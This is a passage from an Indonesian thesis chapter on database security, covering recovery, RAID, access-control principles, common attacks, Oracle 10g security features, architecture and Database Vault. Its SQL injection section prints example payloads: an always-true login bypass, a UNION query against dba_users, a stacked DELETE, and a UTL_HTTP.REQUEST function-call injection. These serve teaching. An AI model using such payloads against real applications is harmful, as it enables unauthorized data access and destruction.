untuk mencarinya kembali, maka untuk membatasi pencarian

menggunakan teknik ini.

Pemulihan (recovery): merupakan upaya uantuk mengembalikan

basis data ke keadaaan yang dianggap benar setelah terjadinya

suatu kegagalan.

Jenis Pemulihan:

- Pemulihan terhadap kegagalan transaksi: kesatuan prosedur

alam program yang dapat mengubah / memperbarui data

pada sejumlah tabel.

- Pemulihan terhadap kegagalan media: pemulihan karena

kegagalan media dengan cara mengambil atau memuat

kembali salinan basis data (backup).


31

- Pemulihan terhadap kegagalan sistem: karena gangguan

sistem, hang, listrik terputus alirannya.

Fasilitas pemulihan pada DBMS :

- Mekanisme backup secara periodik

- Fasilitas logging dengan membuat track pada tempatnya saat

transaksi berlangsung dan pada saat database berubah.

- Fasilitas checkpoint, melakukan update database yang

terbaru.

- Manager pemulihan, memperbolehkan sistem untuk

menyimpan ulang database menjadi lebih konsisten setelah

terjadinya kesalahan.

Teknik Pemulihan :

- Defered upate / perubahan yang ditunda: perubahan pada

DB tidak akan berlangsung sampai transaksi ada pada poin

disetujui (COMMIT). Jika terjadi kegagalan maka tidak

akan terjadi perubahan, tetapi diperlukan operasi redo

(terdapat pada redo log file) untuk mencegah akibat dari

kegagalan tersebut.

- Immediate Upadate / perubahan langsung: perubahan pada

DB akan segera tanpa harus menunggu sebuah transaksi

tersebut disetujui. Jika terjadi kegagalan diperlukan operasi

UNDO untuk melihat apakah ada transaksi yang telah

disetujui sebelum terjadi kegagalan.


32

- Shadow Paging: menggunakan page bayangan dimana pada

prosesnya terdiri dari 2 tabel yang sama, yang satu menjadi

tabel transaksi dan yang lain digunakan sebagai cadangan.

Ketika transaksi mulai berlangsung kedua tabel ini sama

dan selama berlangsung tabel transaksi yang menyimpan

semua perubahan ke database, tabel bayangan akan

digunakan jika terjadi kesalahan. Keuntungannya adalah

tidak membutuhkan REDO atau UNDO, kelemahannya

membuat terjadinya fragmentasi.

- Kesatuan data dan Enkripsi

Enkripsi: keamanan data, pengkodean data dengan algoritma

khusus sehingga data tidak dapat dibaca oleh program tanpa

kunci dekripsi, memproteksi data yang ditransmisikan

melalui jalur komunikasi

Integritas: metode pemeriksaan dan validasi data (metode

integrity constrain), yaitu berisi aturan-aturan atau batasan-

batasan untuk tujuan terlaksananya integritas data.

Konkuren: mekanisme untuk menjamin bahwa transaksi

yang konkuren pada database multi user tidak saling

menganggu operasinya masing-masing. Adanya

penjadwalan proses yang akurat (time stamping).

- RAID (Redundant Array of Independent Disks)


33

RAID terdiri atas array disk, meningkatkan keandalan atau kinerja

dengan data stripping, penyimpanan informasi redundan dengan

skema error-correcting

Level pada RAID :

RAID 0 - nonredundant, pada level ini tidak ada redundansi

data dan memiliki performa yang paling baik karena tidak

harus di replikasi.

RAID 1 – mirrored, dilakukan mirroring pada data .

RAID 0+1 – nonredudant dan mirrored, merupakan

penggabungan stripping dan mirroring.

RAID 2 – memory-style-error-correcting codes, stripping

unit adalah bit tunggal dan hamming code digunakan

sebagai skema redundansi

RAID 3 – bit interleaved parity, redundansi dengan

menyimpan informasi parity pada disk tunggal di array.

RAID 4 – block interleaved parity, stripping unit adalah

disk block.

RAID 5 – block interleaved distributed parity,

menggunakan data parity untuk redundansi.

RAID 6 – P+Q redundancy, mirip dengan RAID 5 tapi

penambahan data redundan digunakan untuk proteksi akan

kegagalan disk.
34

- Tiga prinsip dasar yang digunakan untuk menetapkan pengendalian

integritas adalah:

Memberikan akses dalam kerangka need-to-know basis

User seharusnya hanya diberikan akses terhadap file dan

program yang mereka butuhkan untuk melakukan fungsi -

fungsi pekerjaan mereka. Keleluasaan akses terhadap data

produksi atau source code oleh user seharusnya diperketat

menggunakan metode transaksi, dimana dapat memastikan

bahwa user dapat mengubah data hanya dalam cara yang

terkontrol dengan baik sehingga menjaga integritas data.

Elemen umum dari metode transaksi ini adalah pencatakan

modifikasi data dalam sebuah log, yang dapat diperiksa

lebih lanjut untuk memastikan bahwa hanya perubahan

yang diotorisasi dan benar saja yang dilakukan didalam

sistem. Agar lebih efektif, metode transaksi ini harus

memastikan bahwa data hanya dapat dimanipulasi

menggunakan program – program tertentu saja. Program-

program tersebut harus diawasi secara hati-hati, baik dalam

pengembangan dan instalasinya, dan diterapkan

pengendalian untuk mencegah modifikasi yang tidak

terotorisasi. Karena user harus dapat bekerja secara efisien,

hak akses harus diberikan secara bijaksana sehingga

memungkinkan fleksibilitas operasional yang memadai.

Akses berdasarkan need to - know basis ini harus


35

memungkinkan terjadinya kontrol maksimal dengan

pembatasan seminimal mungkin terhadap user. Setiap

inisiatif keamanan informasi harus menerapkan

keseimbangan yang baik antara tingkat keamanan yang

ideal dan produktivitas kerja

Pemisahan tugas (separation of duties)

Untuk memastikan di bahwa tidak satu orang karyawan pun

yang mengendalikan sebuah transaksi dari awal sampai

akhir, dua atau lebih orang harus bertanggung jawab untuk

melakukannya.

Rotasi Tugas

Penugasan suatu pekerjaan harus diubah-ubah secara

periodik sehingga mempersulit user dalam berkolaborasi

untuk mengendalikan sepenuhnya sebuah transaksi dan

mengalihkannya untuk tujuan-tujuan terlarang.

- Metode Penyerangan yang umum dilakukan untuk mengakses

objek:

Brute Force Attack

Tujuan dari serangan ini adalah mencoba beberapa

kombinasi karakter yang memenuhi otentikasi tipe 1.

Seringkali disebut menebak password, sebuah program

mengirim beberapa login percobaan, masing-masingnya

dengan password yang sedikit berbeda. Sebagai tambahan

atas serangan sendiri, atur level sistem monitor untuk


36

memberi tahu ketika aktifitas yang tidak umum sedang

terjadi. Ide bagus juga untuk mengatur level penguncian ke

tingkat yang agresif sehingga account terkunci setelah

beberapa kegagalan login. Hal ini akan merepotkan bagi

pemakai yang melupakan password-nya, tetapi hal ini

menyediakan pertahanan yang baik terhadap brute force

attack.

Dictionary Attack

Merupakan turunan dari brute force attack. Sebagai ganti

dari mencoba semua kombinasi password, dictionary atack

mencoba untuk memenuhi permintaan password dengan

memberikan password umum dari sebuah daftar atau

kamus. Banyak daftar dari password yang umum digunakan

mudah untuk dicari. Meskipun mereka membuat sumber

yang bagus untuk dictionary attack, mereka juga

menyediakan contoh password yang dihindari. Pada

kenyataannya, salah satu cara terbaik untuk mencegah

dictionary attack adalah dengan kebijakan password yang

ketat.

Spoofing Attack

Tipe lain dari serangan kontrol akses adalah login spoofing.

Seorang penyerang meletakkan program login palsu yang

meminta kepada pemakai, user ID dan password.

Tampilannya seperti login normal, sehingga pemakai


37

memberikan informasi yang diminta. Alih-alih

memasukkan pemakai ke dalam sistem, program tersebut

menyimpan informasi dan menampilkan pemberitahuan

bahwa login gagal. Pertahanan terbaik melawan serangan

jenis ini adalah membangun jalur yang terpercaya antara

pemakai dan server ketika memungkinkan. Lakukan

percobaan untuk meminimalkan peluang bagi penyerang

untuk masuk antara pemakai dan server. Didalam

lingkungan dimana keamanan menjadi sangat penting,

pemakai harus dengan hati-hati mempelajari semua

percobaan login yang gagal dan memastikan kegagalan

tersimpan dan dilaporkan.

Trojan Horse

Cara yang sering digunakan penyusup untuk menjebak user

agar menginstall program yang membuka pintu belakang di

sistem yang digunakan, sehingga penyusup tersebut dapat

dengan mudah mengakses komputer milik user tanpa

sepengetahuan pemiliknya. Kemudian, penyusup tersebut

bisa melakukan perubahan konfigurasi sistem atau

menularkan virus ke komputer tersebut.

Back Door dan Remote Administration Program

Di komputer yang menggunakan operating system, pada

umumnya penyusup menggunakan tiga tool, back Orificem

Netbus, dan Sub Seven untuk mendapatkan akses ke


38

komputer secara remote. Setelah diinstall, back door atau

remote administration program ini memungkinkan orang

lain untuk mengakses dan mengendalikan komputer

tersebut. Platform komputer lainnya mungkin juga

memiliki kelemahan terhadap model serangan seperti ini,

sehingga user harus selalu memantau laporan-laporan

mengenai vulnerability dari sistem yang digunakan.

Denial of Service

Ini adalah tipe serangan yang menyebabkan komputer

crash atau menjadi sangat sibuk memproses data, sehingga

user tidak mempergunakannya. Umumnya, serangan seperti

ini bisa diatasi dengan menginstall patch terakhir dari

sistem yang digunakan.

Pencurian Identitas

Informasi yang disimpan dalam sebuah home computer

bisa menjadi sumber informasi pribadi yang mencukupi

bagi para penyusup untuk mendaftarkan kartu kredit atau

identitas lainnya, dengan mengatasnamakan korban tersebut

Tunneling

Saat karyawan bekerja di rumah dan mengirimkan file ke

sebuah komputer di kantor, ada potensi bahwa sesorang dapat

mengakses home computer tersebut dan menyusupkan file

rahasia didalam sebuah dokumen yang nantinya disimpan di

dalam sistem milik perusahaan.


39

2.4.3 Keamanan pada Database Oracle 10g

Pada oracle database 10g, keamanan pada database menggunakan

strategi pendekatan pertahanan secara mendalam (defense-in-depth

approach) yaitu pertahanan keamanan tidak hanya dari pihak luar tapi juga

dari pihak internal organisasi.

Sistem keamanan pada oracle database 10g antara lain :

1. Authentikasi

- Password Authenticated Users, database akan

memverifikasi nama user dan password dengan yang

tersimpan di database.

- Externally Authenticated Users, bagi pihak luar validasi

password tidak tersimpan dalam database, tetapi menunjuk

ke account OP$.

Perintah yang digunakan :

CREATE USER ops$oracle IDENTIFIED EXTERNALLY;

2. Pengaturan hak akses :

- Grant Security (system privilege dan object privilege)

System Privilege, memberikan hak akses kepada user

untuk mengatur dan mengelola sistem database oracle.

Contoh :

sql> grant create any cluster to customer_role;

sql> grant select any table to fred;

sql> grant create any table to public;


40

sql> grant create tablespace to dba_role;

Object Privilege, merupakan hak akses yang diberikan

user untuk melakukan beberapa operasi pada beberapa

objek database, seperti tabel, view, sequence atau

procedure.

Contoh :

sql> grant select, insert on customer to fred, mary, joe;

sql> grant insert on order_table to update_role;

sql> grant all on customer to fred;

sql> grant select on customer_view to mary;

- Role-based grant security, kumpulan dari beberapa

privilege yang dikumpulkan menjadi satu. Ini merupakan

salah satu cara untuk memudahkan dalam pemberian hak

akses kepada user

Contoh :

sql> create role system_admin;

sql> grant select, update on customer to system_admin;

sql> grant select on item_table to system_admin;

sql> grant system_admin to user 1, user 2, user 3;

- Grant Execute Security

Kemampuan untuk membuat hak akses dengan

menciptakan suatu program tertentu melalui stored

procedure dan bahasa PL/SQL

- Secure Application Roles


41

Roles adalah kumpulan dari privilege pada database untuk

memudahkan manajemen dan memonitor user dan roles

dapat digunakan setelah user melewati seluruh pemeriksaan

keamanan.

Perintah yang digunakan :

CREATE ROLE role_name IDENTIFIED USING

packagename;

3. Pengaturan akses (access control) dengan view restrictions.

Pembatasan akses bagi user dalam melihat database. View adalah

logikal tabel yang berisi bukan data sebenarnya tetapi hanya

menampilkan kolom sesuai dengan akses yang telah diberikan.

4. Virtual Private Database (VPD)

Virtual Private Database (VPD) atau row level security (RLS) atau

biasa disebut juga fine-grained access control (FGAC) merupakan

teknologi yang dapat membatasi akses terhadap baris-baris (row)

data dari beberapa objek database yaitu tabel dan view secara run-

time. Virtual Private Database memfasilitasi database untuk

memodifikasi query berdasarkan security policy yang terdapat pada

paket policy. Sebuah security policy sangat berkaitan dengan tabel

atau view yang dituju. Ketika user secara langsung atau tidak

memasuki tabel atau view yang berkaitan dengan VPD security

policy, server secara dinamis memodifikasi SQL statement user.

Modifikasi ini berdasarkan pada suatu kondisi yang diberikan oleh

suatu fungsi yang mengimplementasikan security policy. Setiap


42

user diberikan security policy yang berbeda terhadap tabel dan

view yang di-query.

Terdapat 3 penambahan komponen penting VPD oracle 10g

Column-Level Privacy

Penambahan performance dengan membatasi jumlah query

yang dapat ditulis ulang database. Penulisan ulang hanya

dapat terjadi jika referensi statemen yang relevan terhadap

kolom melalui parameter sec_relevant_cols dalam prosedur

DBMS_RLS.ADD_POLICY. Fitur ini juga yang

meningkatkan privacy menjadi lebih baik.

Customization

Memperkenalkan 4 tipe policy, kita dapat memodifikasi

VPD menggunakan predicate yang sama dengan policy tetap

atau menggunakan predicate VPD yang dapat berubah

secara dinamis dengan policy tidak tetap.

Shared Policies

Kita dapat menggunakan sebuah VPD policy untuk

memperbanyak objek, oleh karenanya dapat menghemat

biaya.

5. Auditing

- Statement Auditing

Mencatat audit entry, setiap spesifik SQL statemen atau

statemen apapun yang dilakukan oleh user dan juga setiap

usaha untuk terkoneksi dengan database baik sukses atau


43

gagal. Ini adalah salah satu cara menemukan percobaan

hacking pada database.

- Fine-Grained Auditing

Audit yang dapat dilakukan dengan detail yang sangat

spesifik dari objek. Hal ini dapat membatasi audit records

berdasarkan kolom yang diakses dan nilai dari kolom

tersebut. Memungkinkan untuk data diaudit oleh user yang

tidak memiliki latar belakang apapun dalam bidang IT.

- Audit Trails

Oracle dapat mengaudit kedalam tabel tertentu apakah data

dictionary atau file sistem operasi.

6. Enterprise Security dengan lightweight directory access protocol

(LDAP)

Manajemen database user dan pengaturan autorisasi secara

tersentralisasi.

7. Keamanan pada jaringan dengan proxy authentication.

Memudahkan level tengah (middle tier) atau aplikasi klien untuk di

authentikasi lalu ke proxy hingga ke account yang lain pada

database tanpa harus authentikasi ulang.

8. Database Encryption

Melindungi data penting dengan menyediakan lapisan (layer)

tambahan perlindungan untuk data pada media penyimpanan.


44

2.5 Arsitektur Oracle

Pada oracle terdapat dua komponen penting yaitu database dan instance.

- Database adalah kumpulan file (physical file) untuk menyimpan

data yang saling berelasi.

Untuk mengecek nama database menggunakan command :

select VALUE from v$parameter where NAME=’db_name’

- Instance adalah proses yang mengatur jalannya database (engine),

instance mengatur penggunaan memory dan background process

yang digunakan untuk mengakses data dari physical database files.

Value dari ORACLE_SID adalah nama dari instance juga.

Salah satu alasan dipisahkannya konsep antara database dan

instance adalah database dapat digunakan secara bersama-sama (shared)

oleh dua atau lebih oracle instance sebagai bagian dari konfigurasi untuk

meningkatkan kinerja dari oracle server.

Gambar 2.2. Arsitektur Oracle


[Referensi:Oracle 10g Database Foundations,2004]
45

2.6 Struktur Database Oracle

Oracle memiliki dua buah struktur yang merupakan bagian dari arsitektur

oracle, yaitu:

a. Struktur logikal, komponen yang digunakan untuk mengalokasikan space

pada disk (tablespace).

b. Struktur physical, komponen yang digunakan untuk mengatur fisik dari

database file.

2.6.1. Struktur Logikal

- Table space digunakan untuk menyatukan objek database

menjadi satu kesatuan, umumnya untuk fasilitasi keamanan,

performance atau ketersediaan objek database seperti tabel

dan index.

Pada database oracle minimum memiliki dua table space

yaitu SYSTEM table space dan SYSAUX table space.

- Segment adalah kumpulan dari extents untuk tipe objek

tertentu seperti tabel.

- Extents adalah blok data yang saling berdekatan

- Database Blocks adalah bagian terkecil dari storage

- Schemas adalah nama grup dari objek yang berasosiasi

dengan user account tertentu.


46

Gambar 2.3. Struktur Logikal Oracle Database

[Referensi:Oracle 10g Database Foundations,2004]

2.6.2. Struktur Physical

- Datafile, digunakan untuk menyimpan data dari object

database (mis : table, index, dll)

- Redo log files, digunakan untuk menyimpan semua

perubahan data yang dibutuhkan pada proses recovery

(memperbaiki perubahan yang belum ditulis pada datafile).

- Control file, berisi informasi berupa konfigurasi, lokasi data

redo log files, datafile.


47

Gambar 2.4 Struktur Physical Oracle Database


[Referensi:Oracle 10g Database Foundations,2004]

2.7 Struktur Instance

Oracle Instance terdiri dari Memory dan Background process.

2.7.1. Memory

Oracle menggunakan shared memory untuk pengoprasian database

server, yang dibagi dalam struktur memory yang disebut sebagai SGA

(System Global Area/Shared Global Area) dan PGA (Program Global

Area/Private Global Area).

- SGA (System Global Area/Shared Global Area)

Area berupa shared memory yang digunakan untuk untuk

menyimpan data atau konfigurasi yang mengendalikan system. Bila

sebuah oracle instance di-startup, maka system melakukan alokasi


48

memory untuk SGA dan dikelola sampai instance tersebut tidak

dibutuhkan lagi.

(Dalam keadaan shutdown), SGA terdiri dari :

a. Database Buffer Cache, memori yang dialokasikan

menyimpan data sementara dari databases blocks yang

belum dituliskan pada database datafiles.

Database Buffer Cache memiliki 3 tipe :

- Dirty buffers, buffer yang berisi data dari database

block yang akan ditulis pada disk.

- Free buffers, buffer yang kosong dan tidak ada block

data didalamnya Ketika oracle membaca data dari

disk(datafile) maka free buffer akan menyimpan data

tersebut sehingga akan berubah menjadi dirty buffer

- Pinned buffers : Block data yang ada dalam buffers

sedang mengalami proses perubahan.

b. Shared Pool, menyimpan informasi seperti data dictionary,

sql structure, library. Informasi yang disimpan antara lain:

- User information seperti privilege (hak/ijin akses)

- Integrity constraints

- Nama table, view, tipe data

- Informasi tentang alokasi memory yang digunakan

untuk schema object

c. Redo Log Buffer, berisi informasi yang mencatat semua

perubahan yang terjadi pada database secara otomatis dan


49

cepat. Data ini di catat ke redo log secepat mungkin, karena

akan digunakan untuk tujuan recovery.

d. Library cache, terdiri dari shared SQL areas, privates SQL

areas, PL/SQL procedures, package dan control structures

seperti locks dan library cache handles.

e. Shared SQL areas, berisi informasi untuk mengeksekusi

instruksi SQL dan instruksi ini disimpan, dan bila terjadi

query yang sama maka sistem mengalokasikan request

tersebut ke lokasi memory yang sama.

f. Data Dictonary Cache, berisi koleksi struktur table, view,

dan referensi ke database yang dapat diakses bersama.

g. Large Pool adalah memori yang digunakan untuk

menyediakan alokasi memori yang besar untuk spesifik

operasi database seperti backup dan restore.

h. Java Pool adalah memori yang dialokasikan untuk proses

yang berbasis java.

- PGA (Program Global Area/Private Global Area)

Area pada memori yang berisi data untuk setiap proses yang terjadi

pada database dan area ini tidak dipakai bersama (non-share).

Terdiri dari:

a. Stack Space, memori yg dialokasikan untuk menyimpan

data dari variable dan arrays


50

b. Session Information, memori yg dialokasikan untuk

menyimpan data tentang session yang terjadi pada database

seperti user koneksi.

c. Sort Area, memori yg dialokasikan untuk menyimpan data

dari proses sorting. Perintah SQL yang termasuk proses

sort adalah : CREATE INDEX, DISTINCT, ORDER BY,

GROUP BY, UNION, INTERSACT, dan MINUS

- SCA (Software Code Area)

Area pada memori yang dialokasikan untuk menyimpan perintah

atau code yang sedang dijalankan. Memori ini biasanya digunakan oleh

oracle tools dan utilities seperti: SQL*Forms, SQL*Plus, etc.

2.7.2. Proses Background

Eksekusi program komputer pada memori yang melakukan tugas


tertentu.

a. PMON (Process Monitor)

- Melakukan rollback untuk transaksi yang dibatalkan.

- Membersihkan proses yang berakhir tidak normal.

- Mengaktifkan kembali shared_server dan dispatcher

(Proses yang mengatur penjadwalan eksekusi proses

oracle) bila mengalami error.

- Membebaskan resource SGA yang dialokasikan pada

process yang gagal.


51

b. SMON (System Monitor) berfungsi menjalankan instance

recovery secara otomatis, mengatur memori segmen dan

menggabungkan free area memori yang berdekatan

(garbage collector)

c. LGWR (Log Writer) berfungsi menulis semua data block

pada buffer ke log file pada saat:

- Terjadi proses commit.

- Terjadi Checkpoin.t

- Setiap 3 detik.

- Log buffer penuh.

d. CKPT (Check Point) berfungsi menjaga konsistensi data

dengan membuat check point, sehingga bila terjadi crash,

maka kondisi database dapat di kembalikan ke kondisi

pada saat check point terakhir di buat. Proses checkpoint

adalah menulis semua perubahan (updating) yang terjadi

antara begin transaction dan commit.

e. DBWR (Database Writer) berfungsi menulis semua data

block pada buffer cache ke datafile pada saat terjadi

commit.
52

Gambar 2.5 Background Process

[Referensi: Oracle 10g Database Foundations,2004]

2.8 Database Vault

Oracle database vault adalah sistem keamanan tambahan pada oracle

database 10g yang dapat digunakan untuk :

- Membatasi akses data aplikasi dari database administrator (DBA) atau

user lain yang memiliki privileges.

- Mencegah DBA memanipulasi database atau mengakses aplikasi-aplikasi

yang lain.

- Menyediakan pengaturan yang lebih baik tentang siapa, kapan dan dimana

suatu aplikasi bisa diakses.

- Meningkatkan proteksi dari struktur database dari perubahan-perubahan

yang ilegal.

- Merupakan tool untuk implementasi sistem keamanan yang lebih dinamis

dan fleksibel.
53

- Merupakan salah satu pengendali internal, yaitu mekanisme yang

digunakan untuk bisnis yang umumnya berjalan sesuai dengan peraturan

yang ada seperti US Sarbanes-Oxley (SOX), US Healthcare Insurance

Portability and Accountability Act (HIPAA), Japan Privacy Law, EU

Privacy Directive, and the US California Senate Bill 1386.

- Built-in reports, tersedianya laporan yang berhubungan dengan sistem

keamanan termasuk intervensi pada realm.

2.8.1 Komponen Database Vault

- Oracle Database Vault Access Control Components

Membuat komponen-komponen untuk mengatur keamanan

database instance

- Oracle Database Vault Administrator (DVA)

Aplikasi java yang dibangun diatas Oracle Database Vault

PL/SQL aplikasi (APIs), aplikasi ini dibuat sebagai tampak

muka pengaturan dan konfigurasi hak akses bagi manajer

keamanan yang tidak bisa PL/ SQL.

- Oracle Database Vault Configuration Assistant (DVCA)

Pemeliharaan dari Oracle Database Vault

- Oracle Database Vault DVSYS and DVF Schemas

DVSYS adalah schema untuk penyimpanan database objek

yang diperlukan untuk memproses oracle data, schema ini

berisi roles, views, accounts, fungsi, dll.


54

DVF adalah schema yang berisi fungsi publik untuk mencari

(pada saat proses berjalan) factor values pada Oracle

Database Vault access control configuration

- Oracle Database Vault PL/SQL Interfaces and Packages

Ketersediaan antar muka koleksi PL/SQL dan paket yang

member ijin pada security manager atau aplikasi developer

untuk mengkonfigurasi kebijaksanaan pemberian hak akses

- Oracle Database Vault and Oracle Label Security PL/SQL

APIs

Pengaturan akses yang dapat terintegrasi dengan Oracle

Lable Security

- Oracle Database Vault Reporting and Monitoring Tools

Pembuatan laporan dari berbagai aktivitas yang telah

dimonitor, memonitor perubahan kebijakan, percobaan

perusakan atau pembobolan, konfigurasi database dan

perubahan struktur.

Komponen Oracle Database Vault Access Control

- Database Vault Factor

Factor adalah nama variabel atau attribute, seperti lokasi

user, alamat IP database atau session user. Faktor dapat

digunakan untuk aktivitas seperti autorisasi account untuk

koneksi ke database, membuat filter logikal untuk membatasi

visibility dan manageability data, selain itu faktor-faktor yang

telah terintegrasi yang dapat digunakan sebagai kombinasi


55

dengan rules untuk mengatur akses ke database, aplikasi

realm dan perintah-perintah di database dan merupakan blok

bangunan dasar dari mandatory access control.

Berikut adalah daftar faktor yang terdapat pada database vault.

Tabel 2.4 Database Vault Factor


Authentication Method Language Enterprise Identity
Identification Type Session User Network Protocol
Proxy Enterprise Identity Database IP Database Instance
Database Domain Domain Machine
Database Hostname Database Name Client IP

- Database Vault Rule Sets

Mesin rule untuk sistem keamanan database, yang di awasi

melalui Data Vault MAC Admininistrator GUI atau PL/SQL APIs,

dapat di audit dan memberikan respon.

Kumpulan dari rule (single conditions) untuk mengontrol:

1. Faktor penugasan.

2. Autorisasi realm.

3. Kemampuan untuk menjalankan perintah-perintah database.

4. Kemampuan sebagai secure application role.

- Database Vault Command Rules

Command rules adalah rule yang dibuat untuk memproteksi

pernyataan SELECT, ALTER SYSTEM, DDL, DML yang

mempengaruhi database objek.

Kategori command rules:

- Memiliki system-wide scope : hanya dapat membuat satu

command rule untuk tiap database instance


56

Contoh: command rule untuk ALTER SYSTEM dan

CONNECT

- Memiliki schema tertentu, contoh: command rule untuk

DROP TABLE

- Memiliki object tertentu, contoh: command rule untuk DROP

TABLE dengan tabel tertentu.

Rules dan factor dapat berasosiasi dengan banyak perintah di

database. Rules memiliki internal control yang lebih kuat dan

dapat di buat sesuai dengan kebijaksanaan operasional. Sebagai

contoh , sebuah rule dapat didefinisikan sebagai limit eksekusi dari

perintah alter sistem untuk alamat IP dan hostname tertentu.

Berikut adalah contoh perintah database dimana rules dapat

berasosiasi melalui database vault administrative interface.

Tabel 2.5 Database Vault Command Rules


Alter Database Alter View Noaudit
Alter Function Audit Alter Tablespace
Alter Package Body Alter Procedure Alter Profile
Alter Session Alter System Alter Synonym
Alter Table Alter Trigger Alter User
Password Change Password Truncate Table
Rename Connect Comment
Create Function Create Index Create Package
Create Database Link Create Procedure Create Role
Create Package Body Create User Create View
Create Table Grant Drop User
Create Profile Revoke Drop Profile
Create Tablespace Create Trigger Connect
Update Insert Delete
Execute Select Lock Table
57

- Perintah Otorisasi (Command Authorizations)

Pembatasan dari penggunaan perintah DDL (create user, alter

user), objek tertentu atau seluruhnya, berdasar pada kondisi rule set

akan dievaluasi setelah data vault realms, dapat diimplementasikan

pada prosedur bisnis.

- Realm adalah kumpulan dari schema dan roles yang telah

diproteksi, layer tambahan dari manajemen hak akses dalam

database, wadah yang merupakan zona proteksi . Database vault

administrator dapat membuat realm dan mendefinisikan isi

didalamnya. Realm dapat berupa database objek seperti sebuah

tabel, banyak tabel atau sebuah aplikasi atau banyak aplikasi.

Berikut adalah gambaran umum realms

Gambar 2.6 Realms


[Referensi: Oracle Database Vault Administrator Guide, 2008]

Keuntungan realms :

1. Membatasi DBA sistem dari query dan manipulasi data bisnis

yang sensitive.

2. Implementasi aplikasi DBA dan konsep sub-databases

3. Blok untuk konsolidasi yang aman.


58

- Database Vault Protected Schema

1. Melindungi metadata database vault dari korup.

2. Menghilangkan ketergantungan metadata pada SYS schema

3. Akses untuk melindungi schema melalui administrative roles.

4. Pembagian tugas oleh administrative roles yang berbeda.

Administratives roles antara lain :

DV_ADMIN, DV_SECANALYST, DV_OWNER,

DV_ACCTMGR, DV_REALM_OWNER,

DV_REALM_RESOURCE

5. Dibutuhkan password untuk SYS login

- Secure Application Roles

Oracle database roles khusus yang dapat diaktifkan berdasar

evaluasi dari oracle database vault rule set.

2.8.2 Database Vault memenuhi peraturan compliance

Dengan adanya compliance regulation maka kesadaran akan

keamanan pun meningkat, perusahaan yang baik adalah yang bisa

memenuhi peraturan compliance demi terjaganya kerahasiaan data dari

ancaman-ancaman yang potensial.

Berikut adalah tabel yang berisi peraturan yang mengatur tentang

ancaman yang potensial.

Tabel 2.6 Potensial threat regulations


Regulation Potential Security Threat
Sarbanes-Oxley Section 302 Unauthorized changes to data
Sarbanes-Oxley Section 404 Modification to data, unauthorized access
59

Tabel 2.6 Potensial threat regulations (lanjutan)


Sarbanes-Oxley Section 409 Denial of Service, unauthorized access
Unauthorized access, modification or
Gramm-Leach-Bliley
disclosure
Health Insurance Portability
and Accountability Act Unauthorized access to data
(HIPAA) 164 306
HIPAA 164.312 Unauthorized access to data
Basel II – Internal Risk
Unauthorized access to data
Management
CFR Part II Unauthorized access to data
Japan Privacy Law Unauthorized access to data
EU Directive on Privacy and
Unauthorized access to data
Electronic Communications
Payment Card Industry Data
Unauthorized changes to data
Security Standard (PCI DSS)

2.8.3 Auditing Report

Realm Audit Report

Laporan audit dibuat berdasarkan proteksi realm dan

operasi autorisasi realm

Command Rule Audit Report

Laporan audit dibuat berdasarkan proses operasi command

rule.

Factor Audit Report

Laporan audit yang menunjukkan factor yang gagal untuk

dievaluasi atau diset untuk membuat audit record pada

berbagai kondisi.

Label Security Integration Audit Report

Laporan audit dibuat berdasarkan operasi inisialisasi

session dan operasi session label assignment.


60

Core Database Vault Audit Trail Report

Laporan audit record yang dibuat oleh operasi core access

security session initialization. Kita dapat membuat audit

instances yang mengalami kegagalan akses keamanan.

- Secure Application Role Audit Report

Laporan audit yang dibuat berdasarkan operasi secure

application role-enabling

2.9 SQL Injection

Pengertian SQL Injection :

Sebuah aksi hacking yang dilakukan di aplikasi client dengan cara

memodifikasi perintah SQL yang ada di memori aplikasi client.

Merupakan teknik mengeksploitasi web aplikasi yang didalamnya

menggunakan database untuk penyimpanan data.

Menurut Stephen Kost (Januari, 2004) kategori sql injection yang

menyerang oracle adalah:

a. SQL Manipulation

Memodifikasi sql statement melalui set operasi seperti UNION,

alter WHERE Clause untuk mengembalikan hasil yang berbeda.

Klasik sql manipulasi adalah pada saat autentifikasi login.

Contoh :

SELECT * FROM users WHERE username = 'bob' and

PASSWORD = 'mypassword'

Maka dimanipulasi menjadi:


61

SELECT * FROM users WHERE username = 'bob' and

PASSWORD = 'mypassword' or 'a' = 'a'

SELECT product_name FROM all_products WHERE

product_name like '%Chairs%'

Maka dimanipulasi menjadi:

SELECT product_name FROM all_products WHERE

product_name like '%Chairs' UNION SELECT username

FROM dba_users WHERE username like '%'

b. Code Injection

Penyerang menyisipkan sql statement baru atau perintah pada

database pada pernyataan sql yang telah ada.

Pernyataan EXECUTE pada sql server merupakan target untuk

serangan ini. Pada PL/SQL dan Java, oracle tidak mendukung

penggunaan multi statemen tiap permintaan database.

Injeksi code yang umumnya digunakan antara lain:

SELECT * FROM users WHERE username = 'bob' and PASSWORD =

'mypassword'; DELETE FROM users WHERE username = 'admin';

Statemen diatas akan mengembalikan hasil error.

Akan tetapi beberapa bahasa pemrograman atau API mendukung

multi statemen sql untuk dieksekusi, PL/SQL dan Java dapat secara

dinamis mengeksekusi PL/SQL Blok yang rentan terhadap code

injection.

Contoh:

BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); END;

Menjadi:

BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); DELETE FROM

users WHERE upper(username) = upper('admin'); END;


62

c. Function Call Injection

Penyisipan pada fungsi-fungsi database oracle atau fungsi tertentu

pada pernyataan sql yang rentan. Function call dapat digunakan

untuk membuat sistem operasi calls atau manipulasi data pada

database. Fungsi yang dieksekusi sebagai bagian dari SQL

SELECT statemen tidak akan membuat perubahan pada database,

terkecuali fungsi ditandai sebagai PRAGMA TRANSACTION.

Contoh:

SELECT TRANSLATE('' ||

UTL_HTTP.REQUEST('http://192.168.1.1/') || '',

'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM

dual;

d. Buffer Overflow

Bagian dari function call injection, kerentanan muncul pada fungsi-

fungsi beberapa database yang menyebabkan buffer overflow, yang

dapat dieksploitasi melalui serangan sql injection pada un-patched

database. Serangan buffer overflow menggunakan TZ_OFFSET,

TO_TIMESTAMP, TZ_BFILENAME, FROM_TZ,

NUMTOYMINTERVAL atau NUMTODSINTERVAL dieksekusi

menggunakan metode function injection yang dapat digunakan

untuk akses remote pada sistem operasi. Sebagai tambahan

beberapa aplikasi dan web server tidak mengantisipasi kehilangan

koneksi database karena buffer overflow, umumnya web server

hanya mengalami hang hingga koneksi ke klien mati. Hal inilah

yang berpotensi terjadi serangan denial of service.


63

Menurut Esteban Martinez Fayo (Februari, 2005) untuk meretas oracle

database server dibagi menjadi:

a. Bila tidak terkoneksi langsung dengan database

